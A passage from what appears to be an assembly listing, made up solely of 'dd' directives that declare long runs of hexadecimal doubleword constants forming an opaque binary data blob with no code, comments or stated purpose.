0BFAC03AEh dd 0FAC09321h, 0A51D9A0h, 0D96A800h, 0F62C9728h, 294903ABh dd 63E0403Bh, 961E61D0h, 68E43AC3h, 8582C870h, 9ED10002h dd 18ADFD21h, 100793E9h, 0EDCF04F9h, 6072EAB2h, 0CAB2DDh dd 1EF3BD38h, 0D00CDD02h, 3AE55700h, 0F69848A1h, 1FA7218h dd 235C4617h, 4070CC28h, 218A90B1h, 76B2D100h, 0C6A4E848h dd 2BA10BECh, 0E201EF53h, 0F063F315h, 601EE4ABh, 0B9403FD6h dd 79B24DADh, 3AF0A03Dh, 818B00C4h, 6979C0Eh, 0D71F8A24h dd 0A880774Bh, 8BB7C09Fh, 5B5F3F09h, 750200F1h, 21F148F4h dd 65183845h, 0CA389807h, 5C04E8D1h, 140016E9h, 73D07C19h dd 823DAD7Fh, 223B807Ah, 792CE9DAh, 8C270C90h, 9B68789Fh dd 5EADE400h, 0AE98A717h, 3E9700CEh, 0C615B796h, 620021B1h dd 0DBADEA36h, 12648049h, 51F209h, 0E4E27CADh, 9F748815h dd 0D059C200h, 0A932981Ch, 0D5E63089h, 0E45328D9h, 2A73C00h dd 71884682h, 3E1D0058h, 0D280A50Bh, 3A585E0Fh, 348401EEh dd 9391C3CCh, 775A8C8h, 8E9A603Dh, 41B570C6h, 0DF1E0334h dd 6E80D0FFh, 1E36B015h, 9EE00E2Fh, 38584492h, 0FC007D80h dd 0DBCE9D34h, 96CA4h, 0EB8A83B1h, 3BBE76E5h, 5CDDA101h dd 1AFCDCF1h, 58C01ED0h, 8C2B3822h, 0E7B001CCh, 8594E0FCh dd 8DF63BF0h, 0F2AFCC04h, 12BCC88h, 0F02456FDh, 608AB628h dd 0A9FE8CD6h, 1E7D3Fh, 0C76B45C3h, 0E3D3B5A6h, 3AAAC8DBh dd 9D7401CDh, 42A140C5h, 0E8EEC59Bh, 5F7BA996h, 81014301h dd 1B2E892Fh, 72A61FCh, 988AF1D8h, 809C9460h, 0B038A124h dd 2F84D8A0h, 62784E00h, 71023CA3h, 3002B045h, 0E688AA03h dd 542EA0D0h, 2200DFB5h, 2B0EEAEBh, 0AD100014h, 0DA8E6BACh dd 0C0E91A31h, 5E0192F3h, 41B6DDBDh, 88508554h, 18D2884h dd 0FF8F708Ah, 0BBD8645Fh, 0C3B08089h, 5AE29B69h, 372E007Ch dd 70345FE5h, 0FF001B08h, 20A21979h, 0BB58E4h, 0B56F1F2Bh dd 4FC5D7C8h, 0C7E21AFCh, 1803F9B0h, 6DA2457Ah, 88EDF807h dd 207C00EEh, 0E9F10E72h, 3B07A915h, 0D7183F33h, 37B9ABC0h dd 87AF00BDh, 0F901371h, 39791D56h, 8F215700h, 0B3913574h dd 0DD8A0EA8h, 9C006E92h, 23BA1D9Eh, 0D600307Ah, 0AE40CE7Bh dd 22B39Dh, 433ABD18h, 34667EBCh, 0C79B2A00h, 7A884DEAh dd 11E00054h, 0A08B0F3Dh, 6F00D1BEh, 0D865B7FBh, 0FE2E34A3h dd 0EAE816h, 0CDF4F54Bh, 0A79314D2h, 1DA4C700h, 4DA66525h dd 0EEEA006Bh, 4E06B762h, 0DC1D98B4h, 8DC0E1A3h, 5B8F1BF8h dd 461E1427h, 0E500B4D7h, 6C096D84h, 700A3DDh, 0A70A082Bh dd 0F21EBDABh, 2DBB30FFh, 0A0ED9176h, 12034600h, 4088B587h dd 9C580063h, 0B12202F1h, 0A60F1624h, 61BB8615h, 89A7EBB2h dd 7F63E0h, 0FD548C0h, 13D140AEh, 59BF1600h, 777A854h dd 23440045h, 93BD6DD6h, 9A785711h, 6C80F700h, 0EF7A223Eh dd 984A1ED1h, 4C5B0178h, 0EB2E5AD0h, 42DE8FE8h, 71102960h dd 6F34D19h, 21F5C079h, 1F04190Dh, 0B7A6767Dh, 1938F80h dd 0FFC8035Fh, 1CD3EA0Ch, 4BFC6000h, 0B31254E4h, 0ADB00070h dd 1639CBBBh, 6C005325h, 2458C5EBh, 835678h, 0AA4A6AFDh dd 76552E3Fh, 71D8DD03h, 0A850E829h, 9027E6E2h, 0DC0900A0h dd 55A7A99Ah, 17989583h, 7D756700h, 0E32E1490h, 0B9861CA2h dd 681AC3A6h, 11009DCDh, 0C047644Dh, 77C1083h, 5840D5BDh dd 0B163507Bh, 24F6A178h, 1DEC7200h, 0F9E04B6Ch, 197000F0h dd 0DFB6FFE9h, 2A00E19Ah, 0E76CC561h, 1E133ED9h, 748737h dd 6850C667h, 2C0301CBh, 0EE08AE44h, 7CBBC8D1h, 450500EBh dd 0C54AF049h, 0C4005070h, 0B5432FF5h, 0E5D11Ah, 0CDF39805h dd 0CAFCB616h, 0BD592700h, 0BE3FEF2Eh, 6E3E034Ch, 3D4D066Ah dd 372946A0h, 508A5300h, 72C7108Eh, 7EE100FCh, 0BF754BCCh dd 6B0E8CC1h, 471BEA29h, 0E02FD428h, 0A335AD16h, 363D0096h dd 4E63ED02h, 0BB009801h, 48AFFD93h, 0B94D8Ah, 40A8DAB4h dd 6D39286Fh, 929B8603h, 0C8102EE8h, 3D70122Bh, 1006715h dd 41E6D748h, 0C009689h, 59BEB2D4h, 70425Ah, 0CEBC01EDh dd 6CC26A14h, 960FEBEAh, 60981AE0h, 74FE9143h, 6E180373h dd 0EAAD4FCDh, 991D80D8h, 6050CF31h, 10C8D24Bh, 0F39104C2h dd 12B75D5h, 2E8B39B8h, 0C3700FD3h, 0BCC74ABFh, 417141B7h dd 0BD1899F3h, 58F06410h, 1894503Ah, 2B1100AFh, 934C34EAh dd 86E85CECh, 9876B8h, 1FBB674Ch, 6E98A839h, 2EE1FF56h dd 7ED624Bh, 0F0105811h, 0C73DA60Dh, 95EC7103h, 14EE9AF5h dd 34AD3A48h, 4238FF07h, 0FAB5A04Dh, 0F600AA1Bh, 73EED416h dd 5DB0A0h, 4D1DA39Ah, 0D5F491C9h, 0AB707850h, 2237B0C7h dd 0FB5F05F1h, 303906D0h, 0BE206DEAh, 93014E8Ch, 980A5221h dd 95206EECh, 8E440028h, 0F4959F55h, 8100B6F3h, 6CF2FB4Fh dd 1EC02D2Fh, 8286F9h, 603276DEh, 4032A71h, 643C5106h dd 0C9DE0FAh, 9F7800ADh, 3D77252Ch, 6000E5AFh, 51CE745Ch dd 154298h, 0BEB98168h, 0CBF68264h, 7734D00h, 0DB01D80Eh dd 0CE193F2Dh, 3B678300h, 0C02A2B98h, 7A20051Dh, 19314280h dd 33106Fh, 0C30B7971h, 0F974EEA5h, 6C97A400h, 0DABBA154h dd 581030F1h, 349B3F0h, 86671107h, 2E901D1Eh, 0D52B01h dd 7B1238Ch, 1BBA3A1Ah, 6F311400h, 0C7E7FD2Ch, 56CD0053h dd 0F0EA6552h, 0AB07A5C5h, 59822601h, 55A322C0h, 2A103B7Ch dd 0E46BCE80h, 0CD92F912h, 0B6EC001h, 2F5324C9h, 5021E9D5h dd 49D06040h, 6A070093h, 0C3A41041h, 5F001471h, 0BE1C77B4h dd 0B5FCF8h, 108BD8C2h, 0CF43F66Ch, 39344601h, 0C8FA90B8h dd 0E44CE7CCh, 0A79C00BDh, 2957EA78h, 830E0D53h, 0C4E0BA24h dd 0EAC0F9C5h, 4217D1h, 0C378540Ah, 696B08D9h, 24EAF800h dd 58C67620h, 0E64B30CAh dd 0DB781B31h, 21443301h, 869ABC62h, 0C0A22C24h, 7CB1EE8h dd 0C4006071h, 536614B6h, 20B8C05h, 0AF2C3E09h, 0BCA0E591h dd 836C8859h, 58B60E25h, 0F0CA7B14h, 0F9AA3718h, 0A98CC0E8h dd 981416A3h, 280138h, 70EEADE3h, 75E17EFDh, 1BAA001Dh dd 88765797h, 3603D2C0h, 0D359D448h, 0F80A003Ch, 0DF26D97Bh dd 4600E188h, 0B04F57DDh, 1A0237Ah, 0D984173Dh, 70BA2503h dd 6507B1F8h, 442A80B5h, 0ED4C66D0h, 0B7A0007Fh, 1F86503Ah dd 65004861h, 4585EB9Ch, 9D72072h, 5ADE14C6h, 0D5F70803h dd 2831E900h, 0AA0A890Bh, 382A1DB5h, 71A68007h, 69A1500Dh dd 9FD9D9C0h, 91ED5Ch, 0F0FECD56h, 0C58E6C33h, 0CED14900h dd 7410F84Ch, 6831C0A4h, 0F7A2838Fh, 0B534A800h, 58A60F50h dd 3E2001A4h, 0AAF68D85h, 0E13DFCB6h, 0A100B9E2h, 0CD69D07Bh dd 1C0D75AEh, 0DF6EE5ECh, 94B066F6h, 66268CD5h, 479C1FC4h dd 301EB779h, 0CD3D8137h, 0AF38FC00h, 0E5BCC47Ah, 529D0086h dd 32307891h, 27E60B26h, 0F205DF00h, 0DC97B8A9h, 0BE8EC071h dd 72B43FDBh, 682249h, 0E598E0Dh, 301FED71h, 1619077Fh dd 9F3039A9h, 0C28911A5h, 8120EFD3h, 0BB0401D4h, 34DDA750h dd 90C6C4EFh, 18AF0524h, 0B0F7DB80h, 34D1014h, 39D0E242h dd 0D2C0F329h, 62B03811h, 6301B6F0h, 0BC699553h, 6024B9EFh dd 0C4B16Bh, 0D0F910E3h, 0D21DE593h, 155F7D8Ch, 44E2AA80h dd 58878Fh, 0DB291791h, 225EB3E5h, 2C95F507h, 0E750DAD8h dd 69B582h, 0F264518h, 3D90885Fh, 0BD5AC300h, 2BBF70ABh dd 0B38D00D3h, 0C05F7CBAh, 160091FAh, 1A5BB827h, 6097B4C4h dd 721C1110h, 6400ED9Eh, 24ADC201h, 30941141h, 0D62026C6h dd 0D700E5FAh, 533E56CEh, 4F0959h, 835A5F96h, 8DA47239h dd 600E9F0h, 0F412A3F3h, 59BCBAh, 0CA9E653Fh, 293492D4h dd 56C44B00h, 7D7B13ACh, 0C0980106h, 0B7D83C82h, 90DC64CEh dd 78008F72h, 83597C21h, 36F10Ch, 0BB63344Fh, 1DA1B0ECh dd 8AB4E18h, 0A7F3E20h, 54700EBFh, 4FDE00B4h, 0F82472C6h dd 2B7AFEE0h, 0ED977C00h, 0F0420C4Ch, 201B05A0h, 6317E7h dd 0E04493C8h, 3B261ECAh, 8A80743Eh, 3A3C8C24h, 0A77E0E52h dd 0F1FF069Eh, 6029F4AAh, 0C400BB0Dh, 21254673h, 40FE003h dd 5CB0ED49h, 8C40D020h, 0CA00CDBDh, 0E49355C6h, 0B56999h dd 0F3EF1BA2h, 2339DCD6h, 3EB6F84Ch, 2D968166h, 6FAAD7BEh dd 0EB317CEDh, 6521420h, 0A2E39909h, 51001068h, 619DB1B6h dd 3B85F976h, 16804319h, 0F112B0C9h, 0FC034241h, 6194AD14h dd 50E6E8A5h, 387E6A4h, 1BE05479h, 0DCD8AA4Fh, 0E290BCE5h dd 3EC05B4Ch, 32B900EFh, 0DD5C568Bh, 0B4C700A4h, 13943D35h dd 0BF483701h, 45F10068h, 0C1D7048Eh, 7D4400E8h, 0ED29369Ch dd 1102141Dh, 0F8316506h, 0F9C08093h, 4C9B9474h, 90FA0C0h dd 8347C977h, 27478060h, 0A60E1106h, 0C0FDA41Fh, 4FF718E7h dd 0CDEC00CBh, 569DC209h, 3401D024h, 5AA6B99Ah, 0E0404993h dd 1458DFh, 85E23F4h, 335285B6h, 0F667BC00h, 0E5BBBE76h dd 76E3F6F0h, 6A6900B9h, 0A03550C0h, 7A009732h, 85784E49h dd 12EF399h, 834333CCh, 0E5E89870h, 0FD1FE005h, 4D482600h dd 0C4E0B203h, 9FFC8Dh, 0B16BB4EFh, 2E8653CCh, 2959F901h dd 0B81C50Ah, 126CFE8h, 0F1141F44h, 0F0F2C068h, 0D4004E4Dh dd 0F87D3796h, 0BD43B0h, 5F55E01Bh, 5BAFDD9Ah, 5800B474h dd 4A7E3B84h, 8863A9h, 3CFF822Dh, 0D263810h, 8A99B650h dd 1C3B3939h, 908E8DBAh, 75CAA7A1h, 71852D40h, 80F800C8h dd 0ED14D30Fh, 0D90EB05Bh, 402B13A8h, 59428D3Fh, 0F4B400A2h dd 8236F766h, 87004BEEh, 2894C2B0h, 1960F97Dh, 82731CE8h dd 5BE7E00Eh, 0FD7EEB0Fh, 6019AF53h, 1CE6399Ah, 808125F3h dd 2F5FA424h, 7C9AC9C1h, 0C83428D4h, 5C90618Ch, 91188F51h dd 9F063E15h, 7105962h, 7DFD4EBDh, 93E590ADh, 0DF00B592h dd 0F4463C9h, 4D05A4h, 0AF6DEA33h, 4CEC2B04h, 4EF03AE2h dd 7786C49h, 5CD487FAh, 0A2574DD0h, 13B0066Eh, 7973C341h dd 7F54BE00h, 2F4FFB38h, 7E2D0910h, 0E445BFB6h, 976098AEh dd 60F44EA5h, 91C3B8A3h, 724BD5F6h, 19961822h, 339C00B7h dd 0E65C4C5Dh, 63669E00h, 9225C5B3h, 0F249500h, 15F37AC7h dd 9F763A71h, 0D5B33C00h, 11A3BA52h, 304BE100h, 1471F72h dd 0EB6F0717h, 0E47359ACh, 0FCFB805Bh, 0B5008B51h, 0BD09295Fh dd 0AA54F1h, 73CB50E8h, 1D36FEE9h, 2B2B109h, 802A80BEh dd 1CFD9C10h, 40037859h, 0EB6B90C0h, 9A7C9495h, 0B6839F1Ch dd 3D3E5300h, 0EECA6F0h, 49642DDFh, 9E8043A9h, 7A825F27h dd 0D81DDD00h, 0DB368E6Fh, 7C20060h, 5530BF9Dh, 0FB00171Fh dd 0A99A6E6h, 4BB51Eh, 0C10DED9Ah, 8B434F46h, 0CD0006ECh dd 0E3A690A7h, 0F7A73h, 0F2162B0Bh, 0FC8C77C7h, 56E9ECA8h dd 630F7977h, 896FB06Ah, 0BD0CC07Ch, 35BA00AAh, 6BE5EA30h dd 19FCEE1Dh, 0EFB5FB1Fh, 69ED0207h, 0EBCCFDA0h, 0C708003Fh dd 1A6FE05Dh, 0B800245Ch, 4A03491Bh, 0FA16CDh, 8EE1927Eh dd 8CBB1E31h, 0E9D1D800h, 0D941BC77h, 45F5C03h, 0AF4FB70Bh dd 3C98EC00h, 4C0204C9h, 9A7E28CBh, 0B9DCE88Bh, 0F7150094h dd 254E84C4h, 702DA64h, 6E8F7B3Dh, 9910C0ABh, 4DEE00BEh dd 0AA38E6E3h, 303EC434h, 2C3F80BCh, 90321649h, 0AFF224B0h dd 8AA007FCh, 0F5C821BAh, 1043042h, 0BF6D5300h, 0CFA112DBh dd 8C1600E4h, 30E8CA27h, 1109E384h, 40B4482Ch, 1EB954h dd 47EFCCBDh, 1781F8D7h, 753A2302h, 80B5CA42h, 83B0508h dd 0B6D04B7h, 0C060946Bh, 4F781B7Dh, 9C012000h, 2D43D52h dd 8B2602E1h, 0AFFD91C8h, 2CDF8049h, 1CED0548h, 0E0C01329h dd 78516A44h, 2E4D9894h, 80049CF0h, 4D0218BEh, 69002DD0h dd 0AE265CF4h, 0E5BAD76h, 0C15D7D47h, 0BA621300h, 0D50BF434h dd 52FA8B2h, 0E41EA4C4h, 39AF6080h, 0F602E7h, 1C7810CFh dd 3ED9E1FDh, 6C0C6FE6h, 884EDC97h, 80BD0BC0h, 0A4034457h dd 6DA17D58h, 6E0EFCD0h, 0F0BB5A00h, 0D4FD204Bh, 265B00D9h dd 0B03AB54h, 75609E9Fh, 0BF0E8978h, 447AE5h, 0A3FA62D8h dd 8F2F8651h, 0AF0F3E00h, 572AC0E9h, 7E4B00CBh, 951A99A4h dd 9B1CBB42h, 0D5879AB8h, 0A0E03FBFh, 25F70A40h, 0E80006C1h dd 19DED44Ah, 0DB315D00h, 1536DFA5h, 404D0307h, 13EFFA8Ah dd 1CEB2800h, 0A9BA015Fh, 51C500FBh, 9EC77EAh, 0FC001265h dd 0D748FD9Eh, 1B724Ch, 0DCB8E75Dh, 0F5CF45AFh, 0E4FB7076h dd 0D26EC6Eh, 84BCA072h, 92D64F58h, 6E0034E3h, 14974DCBh dd 27009438h, 0A298CD52h, 5A75F9Bh, 2AE8DDC9h, 0FCB4C249h dd 154AC80h, 0D800BABDh, 4365CCB2h, 0B51982h, 0C29C6D9Fh dd 79E428F7h, 3CAEB001h, 70BB2459h, 0B017E3E4h, 9A80001h dd 5F2CA1D2h, 6907135Ch, 53C7CB9Bh, 80DC2AB0h, 90F2ABh dd 1B84E650h, 397DE91Ch, 0CBFCD703h, 0A09AF0E8h, 1EE4FC3h dd 53E1C82Eh, 648F56FEh, 8A0EC67Ch, 3677CE2h, 0D07D123Bh dd 2AE127D3h, 39C43443h, 72873E38h, 0A00D9D49h, 5C3A132Ah dd 82AA3413h, 8C6A220Fh, 3010F0FAh, 6D39A9E1h, 2C905BB4h dd 2A98721Fh, 0EE243900h, 18B88154h, 2815FC0Bh, 802577E0h dd 0B770817Bh, 0FBE08954h, 0CF63022Ah, 0F2259D6Ah, 0CE51C080h dd 304BAD08h, 5C337000h dd 3B9586BFh, 0A848D670h, 4400E021h, 17CE5303h, 69C1006Bh dd 0B14E99F5h, 1E01E02Dh, 45347764h, 0B18360A8h, 85FED82Ch dd 62698900h, 2D13FCF4h, 0CBAC000Ch, 713FF2A9h, 65009D47h dd 0D2BD169Ah, 22B82Bh, 8C07ACF6h, 15D3BEE3h, 3D547B00h dd 6BDC6479h, 7E7D00E8h, 0D181CF07h, 4E073F59h, 803E8AEEh dd 7613BF60h, 0F8BB0102h, 8F72DEDh, 6965C04Dh, 5D0105F8h dd 2395A8CDh, 0D02C9B77h, 3E4D5500h, 84FEF47Eh, 42FC4B5Bh dd 8F44D70Eh, 528C2060h, 0E70EBB48h, 7EFCC59Ch, 0DDEF7100h dd 0FE2B0C7Dh, 0D4310965h, 0C200C0DFh, 5443F7DEh, 0CA58A407h dd 5ED06147h, 920F10D9h, 8E150BFCh, 108088B1h, 42082C90h dd 56C88100h, 0F312E85h, 3EAA17E8h, 0D04408Ch, 1876C24Fh dd 9BED9600h, 61DF1BE1h, 8ED6E9CFh, 0CC60A3B8h, 0A12AF2F6h dd 33222DF0h, 1C0AD02Ch, 80F40D2Fh, 0F05AECC5h, 0F1002717h dd 7244D6Ah, 649BB0h, 3C39D509h, 0CDAB8D2Fh, 44095D90h dd 208F2B3Ah, 0A39CBD30h, 905E073Ch, 9072A983h, 0E14F0A8Bh dd 0EF282213h, 16664CC0h, 9E2300F0h, 1C7DC7FEh, 809451D3h dd 2E0C8980h, 1974BDh, 874B9EC4h, 0F3BFA2B9h, 0F9029C01h dd 55C36B45h, 1565806Eh, 0A37DAE74h, 0C9567500h, 0AFB5A6BEh dd 0BBC8036Eh, 0E56BCF11h, 27C05BAAh, 8D0018E0h, 0B6DE093Ch dd 403541h, 0DCC086BAh, 17737E7Fh, 0DF50AD1Ch, 0DD37FD83h dd 0B64ED93Bh, 0B3FA80F7h, 0E9F50B46h, 0AF8E7052h, 0F4476FC0h dd 0FF00F238h, 15B20728h, 3D29CF01h, 480BDBAh, 0A99D4505h dd 440082A2h, 15ECDFD0h, 3AD962h, 29597EF3h, 987767E1h dd 1420496h, 21FC00B6h, 6438570Ch, 0C7EA002Fh, 0C5C1A36Bh dd 911D0089h, 95E5CFD5h, 73001CE7h, 2A8DEC87h, 7F97AEAh dd 9D4DF370h, 1F0F99F1h, 0FE2707C0h, 2F005F99h, 265ADCEBh dd 94245Eh, 2C4B8578h, 0DD3B9DFFh, 8E8F403Ch, 5E01FAC4h dd 3A111EC0h, 3BF0678h, 0AA31E9E3h, 0ECF82A5Dh, 33062BC5h dd 2E80CE14h, 0A4640058h, 0C37BF108h, 46249906h, 6780582Ch dd 45F7AD62h, 2F150089h, 60D6179Ch, 0F3009B38h, 814ECD2Ch dd 6951DC7h, 2B17349h, 9200466Dh, 3D0785Eh, 0EEA59Ah, 76F55CACh dd 0BEBBEAB7h, 8509D094h, 558C489Fh, 6D4A03DCh, 77D49010h dd 804B2CCh, 1E5A536Eh, 0B71F001Dh, 704C7CD2h, 9D8B9439h dd 0A5807858h, 693CBCE5h, 8DAEFA10h, 9E9BFE03h, 0D5790042h dd 1C2F7772h, 4678B9B4h, 91080A50h, 2061E2Fh, 330780h dd 724A9C5Bh, 2B2CAE00h, 2186FA8Ch, 0A6CC1D52h, 0EF4042A4h dd 87C091E6h, 0E0A05611h, 0C400E01Fh, 762E783Bh, 3F23FE24h dd 0C61CF3E1h, 916CC084h, 6BF29DACh, 6976C700h, 574A44B7h dd 0C07A20h, 0F13C1577h, 9D48CCE5h, 0BFEC1103h, 0E0184550h dd 2C64BE8Ah, 8060B3A1h, 0D968198h, 4D0C62F1h, 86A392Dh dd 0F921C0B5h, 0CCC89669h, 0DF47E600h, 0B6C2502Ch, 3811003Bh dd 6C664D10h, 3D02EC83h, 0B77148B1h, 0A3C88074h, 0A065A438h dd 82B38510h, 70B8AC23h, 2213E5A1h, 7C5E0020h, 6591C06Eh dd 3A6C194Dh, 8745082Dh, 6E64F921h, 5BA06B10h, 49D0F91Dh dd 2A59E271h, 12241013h, 0AFE6E72h, 91244CA1h, 7A571046h dd 0D9A22809h, 0EF3860C8h, 3D302DB0h, 0EA305916h, 0A2FCA845h dd 1EB9C06Fh, 31291A03h, 37019001h, 691DB8ADh, 39B9BAF8h dd 0A7B114B6h, 0EC0B9440h, 4C28C65Fh, 0EE3DC441h, 80BB3D98h dd 5480F1D1h, 0AAF3E5h, 0D217381Eh, 9FAE9A3Ch, 0E3110400h dd 10CAFF33h, 0F69B058Ah, 87525759h, 563CB06Ch, 84037E1Fh dd 1D5347AEh, 2480BCC9h, 12279Ch, 0DF73F9C2h, 0DCF44160h dd 0D18DD00h, 95F26C5Dh, 903700B3h, 0F0052033h, 290E6103h dd 20677DB4h, 10AC021Ah, 26120062h, 2BE0E5C9h, 8000436Dh dd 61784259h, 15E3FFh, 9C03F87Ah, 18ECCF32h, 0AEDA7B00h dd 0F9DC84A5h, 59805F2h, 808EBE3Eh, 205193FBh, 2200347Eh dd 0E5BAEC53h, 0ECAE8B8h, 55A32C21h, 2A83C340h, 1500B3D7h dd 85665A0Eh, 2245D2h, 0FC766234h, 90609A33h, 43A7B501h dd 18197199h, 0E6FBC30h, 91C36997h, 0E5019360h, 530020B4h dd 0C79D798Ah, 69A6E04h, 0BF90434Eh, 0FF7A6119h, 53CD0700h dd 0E9FB7650h, 0F8620782h, 6030C4A5h, 0C732D587h, 0DDED2C2Ch dd 6D1C9C02h, 6AC2E001h, 5F98C039h, 54B59247h, 0DD841000h dd 667257FCh, 0F9C3B17h, 3D8A3905h, 0FB858035h, 0D500CE82h dd 0CF5BF496h, 3B1141h, 9A5D607Bh, 7D3FC894h, 2CB0B400h dd 160E3372h, 0D25407F2h, 0A17E9C61h, 0F3EA85E6h, 0D940E0A0h dd 0AEBBDA01h, 21F635A1h, 1FF29080h, 5E1A785Bh, 0B1C43200h dd 8077ACEh, 41850188h, 2D29FF7Dh, 1D0DE047h, 0C57EF214h dd 93E600F4h, 0A5DBA260h, 0CB0F06ACh, 59DFEC6Bh, 57A99000h dd 70083A60h, 2CE00DBh, 23B4543Dh, 3000C031h, 0AB0DF385h dd 90E1C9DEh, 9870080h, 772BACF4h, 64006AF0h, 0EAAE5EA2h dd 0CCEF8Dh, 5358BCBAh, 0BD30D466h, 7762391Ch, 0EA77840h dd 0EAE2CCBh, 58DE9373h, 0E93E2940h, 3C00BF38h, 0AD82B9A9h dd 0B38AA7h, 0B5488C10h, 0A0874DF7h, 0D3781903h, 0B08B262Dh dd 39C153D5h, 0C400579Bh, 0E0CD2077h, 0EA0EAD6Ch, 6A4DBD64h dd 0E0080CFh, 0B7C4BBC7h, 302200C5h, 0D7571EC3h, 0F7009821h dd 0F3595C06h, 3D3FC02h, 29F2CB11h, 0B8005A95h, 0ADE2F561h dd 4DDB8Bh, 73C179D0h, 0BCB62207h, 0BA8AA600h, 0CA40692Dh dd 6E4A0E5Eh, 80FCB18Bh, 0CEC75396h, 4E2E446Ah, 0B3002E18h dd 94A3034Ch, 606360E4h, 451BC138h, 0EA158E00h, 0BC61F0B5h dd 33C80132h, 2099E57Ch, 0D08DE93Fh, 0B30029B0h, 0C1927D8Bh dd 0A0E7B6E8h, 1852B8A8h, 0AA10CF5h, 0B73DD45Fh, 17458126h dd 0E782EEF2h, 0A5238440h, 865C0057h, 5595838Bh, 8901B13Ch dd 32265E4Bh, 2ED4B9E9h, 7E42091Bh, 44006323h, 7D04BA8h dd 0D6341602h, 8325E910h, 906E0BA8h, 90CC6FA7h, 7B550270h dd 71CA54E7h, 0C60C4040h, 0B1CF2689h, 66C008F9h, 3F830078h dd 3810B4D6h, 23E0115Ah, 432E5EEEh, 0C5011575h, 0F1E2BD6Ch dd 40F1856Bh, 1E659070h, 33F2386Ah, 0A17EC1FEh, 21F9D430h dd 496786h, 12542180h, 0DBF8CD14h, 73C9D904h, 50C5231Bh dd 0E8C3A007h, 9EF8A9h, 74645092h, 951FBFEEh, 0A48D7500h dd 823245BCh, 70860028h, 2786BF1h, 88000720h, 22354E74h dd 3A31C3E1h, 0F6C586h, 0B1125BEBh, 964C5D2Ah, 11438B00h dd 1FF354C6h, 0AB630169h, 86D6C0CCh, 0A0B8C784h, 670728E0h dd 0B0FE9AFBh, 0E7AACDE0h, 5BB20027h, 2C03960Ch, 72128AD7h dd 5A009D69h, 0B6023A54h, 457EECEh, 74DD49D2h, 13F490AFh dd 0D700F93Ch, 8008197Bh, 83D973h, 7AD42F75h, 0F17FED9Dh dd 0D2CE9C00h, 10252AC8h, 0B9EB0027h, 0B41F5A8Fh, 0E200C513h dd 39348171h, 0C03525h, 0D37B73A1h, 0E624CB7Dh, 0FA990300h dd 76B80FD6h, 0CC0900AAh, 4ABE362h, 5C0EEC25h, 406EF232h dd 0BD77B81Ch, 0D164008Eh, 0CE0217E8h, 35007C1Ah, 0C1AD1F7Ah dd 1C33C4CDh, 806CB9EDh, 0A8896812h, 0FA05AF1Bh, 0C13D6650h dd 21EED681h, 386A11F0h, 620BB6C8h, 59072D95h, 2338ECF6h dd 8C26D600h, 8FF315CBh, 18ED60ABh, 56CCFC3h, 9D07887Eh dd 70D33C48h, 0C9E65CE0h, 4D40002Fh, 7A1354E4h, 2B00F52Dh dd 53F74A6Eh dd 3C165A57h, 0A00F4F8h, 5DF274D8h, 0B11CA275h, 0B409DD4h dd 55074440h, 70BC0008h, 145AED8Fh, 0CB0776DEh, 0BE0C73D0h dd 9BF8F4B0h, 0A59800B3h, 0C066DD9Fh, 3D0316ABh, 5CFD6A70h dd 86D88890h, 0FA7800FBh, 0F5CEF39Ch, 0D5A0A757h, 7D0E5892h dd 603A3B9Ah, 0CEBC1B2Dh, 68110075h, 0DCC19E5Bh, 0B700A467h dd 0A2B199CAh, 17C610Eh, 38EFB4E6h, 0F01B6A82h, 0C103589Bh dd 63F9047Eh, 2C400911h, 30128A9h, 30ED43E3h, 2660AFE1h dd 2EFB4C82h, 88E201FFh, 28DC0302h, 0CC16E54Ah, 0F9005D92h dd 50D2DD80h, 0F39EBh, 31BCACD8h, 4CA53C7h, 94110100h dd 100D6593h, 5E49131Bh, 5F4100DBh, 0A308D56Fh, 3DA13A00h dd 2DC29A37h, 1F057F29h, 85B7CCACh, 0C0700B31h, 0EBFBAFA7h dd 22FE7C70h, 0B57F6100h, 0C2382A13h, 7C19854h, 0D26BD9BEh dd 0A3B4503Bh, 0FC00D087h, 3120261Bh, 3281A89h, 6D298491h dd 4BE8ED51h, 5D3E8727h, 0E7BA285Eh, 7D02E071h, 0A8A592AAh dd 5A6840E6h, 0AC693D27h, 0A4AE1701h, 0EC8CBDD8h, 180EB9E4h dd 60DB6B2Dh, 122BBA10h, 0C76F0737h, 0F3B51C29h, 90882C19h dd 4D002560h, 0D8151389h, 2479044Ah, 83987263h, 5D204C61h dd 0C06B7000h, 0A8CA81D3h, 7ACD0FD2h, 0D187E7CCh, 0C0B5C7B0h dd 0EBE97EBCh, 0A556090h, 3830B61Ch, 0DABE0040h, 50E1EE10h dd 6C05A54Eh, 2962C8F9h, 85F8181Fh, 687909CAh, 0B2F14407h dd 3CDD486Ch, 863FEB26h, 7EA91Fh, 0AC4AD72Fh, 571C3E65h dd 0F3188019h, 3DA1050h, 864E1C09h, 61291FE2h, 4700A0EDh dd 0AE280972h, 0A0FE007Ch, 0BBDCC75Ch, 0A802BE67h, 24CAE0EEh dd 0F94BC02Dh, 0ED4C008Bh, 0AC182C3h, 8D00E739h, 3E872FE0h dd 90EB18h, 6CDD7E13h, 586BE6FEh, 5D751DF8h, 0D9F85200h dd 6ECFB926h, 0A95A00D1h, 1CD59855h, 187F895Dh, 0C828DB00h dd 0E742A713h, 0BCA9007Ah, 2CAB0EC1h, 3AF6A3D5h, 39EDD400h dd 3CB75568h, 0CD33006Eh, 0E71B258Bh, 0AB00D3DAh, 75697106h dd 29260D4h, 61E91D8Ah, 0E4837FECh, 10D8DA54h, 0E2517AAEh dd 0FDB2F0D4h, 9D2EB300h, 0CC722159h, 0E57DEFh, 74F25694h dd 1EEA04D3h, 5F05F900h, 0C9332EA0h, 0F0510312h, 3465755Eh dd 6E4B2CC0h, 63E67A0Fh, 97B885A7h, 0CBFBA80h, 1BD20478h dd 80C147AEh, 5D09C5E0h, 7EEAFC02h, 40CB880Fh, 0E46C87F8h dd 0EF420EB2h, 803D9F76h, 8FAB12EBh, 7000ED7h, 85AADDFh dd 38617B4Fh, 0BE5C94F9h, 44FEBB00h, 0C0DF80Eh, 1AD6580Bh dd 0DF31803Bh, 5C460FF7h, 0BF404DC1h, 4B78004Ah, 0C75E3516h dd 1F1FE0C9h, 2DF5A68h, 52DE0C9Dh, 0E433B46h, 0D9120010h dd 815A6D9Dh, 8A005C98h, 0F2EBDDC9h, 93E58Fh, 0E2223731h dd 0CCDAC745h, 0FDC1AE00h, 3F851ECFh, 37530063h, 709C23Ch dd 600CDFFh, 0B07D9ED6h, 0EBC714h, 0CC01DB4Ch, 29F65D4Ah dd 926D1A09h, 0ECAC02E8h, 0AEA08736h, 0B1FE2E80h, 0FFCB07B3h dd 